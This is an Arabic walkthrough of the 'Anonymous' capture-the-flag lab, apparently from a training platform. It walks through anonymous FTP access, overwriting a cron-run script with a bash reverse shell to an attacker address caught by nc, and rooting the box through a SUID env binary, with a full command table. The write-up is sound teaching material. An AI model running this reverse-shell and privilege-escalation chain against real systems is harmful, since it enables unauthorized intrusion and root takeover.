لاب Anonymous بيبدأ بفحص بسيط بيكشف FTP (21)، SSH (22)، وSamba (139/445). الدخول بـ Anonymous FTP (من غير باسورد) بيديك وصول لمجلد scripts — وده قابل للكتابة بالكامل (drwxrwxrwx)! جوه المجلد سكربت clean.sh بيتشغل كل 5 دقائق عبر Cron Job على السيرفر، وملف to_do.txt فيه ملاحظة من الأدمن بتقول “لازم أقفل الـ Anonymous Login”. استبدال clean.sh بريفرس شِل بسيط كفاية عشان توصل ليوزر namelessone لما الـ Cron يشتغل. التصعيد هنا مختلف عن المعتاد: sudo -l مش متاحة (مفيش باسورد)، لكن البحث عن SUID binaries بيكشف حاجة غريبة: /usr/bin/env نفسه معاه SUID Bit — استغلال GTFOBins كلاسيكي بيدّيك Root فوراً.
أكمل اللاب واحصل على الـ Badge — أضفه لملفك على LinkedIn
فحص أساسي يكشف 21 (vsftpd)، 22 (OpenSSH)، 139/445 (Samba).
vsftpdsmbclient -L بكريدنشيلز فاضية بيكشف شيرات print$ وpics وIPC$.
Samba Sharesتسجيل دخول Anonymous، مجلد scripts صلاحياته drwxrwxrwx بالكامل، وفيه clean.sh وto_do.txt.
Anonymous FTPاستبدال clean.sh بريفرس شِل — السكربت بيتشغل تلقائياً كل 5 دقائق عبر crontab بصلاحيات namelessone.
Cron Poisoningبعد دورة الـ Cron، الريفرس شِل بيوصل بصلاحيات namelessone.
namelessonefind -perm -u=s بيكشف /usr/bin/env معاه SUID — استغلال GTFOBins (env /bin/sh -p) بيديك Root كامل.
GTFOBins env| الأمر | الوصف | المرحلة |
|---|---|---|
| smbclient -L //<IP>/ -N | عرض مشاركات Samba بكريدنشيلز فاضية | Enum |
| ftp <IP> (anonymous/anonymous) | دخول FTP من غير باسورد | Login |
| cd scripts; mget * | تحميل كل ملفات المجلد القابل للكتابة | Enum |
| echo ‘bash -i >& /dev/tcp/<IP>/4444 0>&1’ > clean.sh | استبدال السكربت بريفرس شِل | Exploit |
| put clean.sh | رفع النسخة المسمومة على نفس المسار في FTP | Exploit |
| nc -lvnp 4444 | انتظار تنفيذ الـ Cron Job والحصول على شِل | Shell |
| find / -user root -perm -u=s 2>/dev/null | اكتشاف SUID غير عادي على /usr/bin/env | PrivEsc |
| env /bin/sh -p | استغلال GTFOBins لـ env SUID → Root | Root |
smbclient · ftp anonymous · تحميل ملفات scripts
استبدال clean.sh · انتظار التنفيذ التلقائي
find SUID · GTFOBins env · root.txt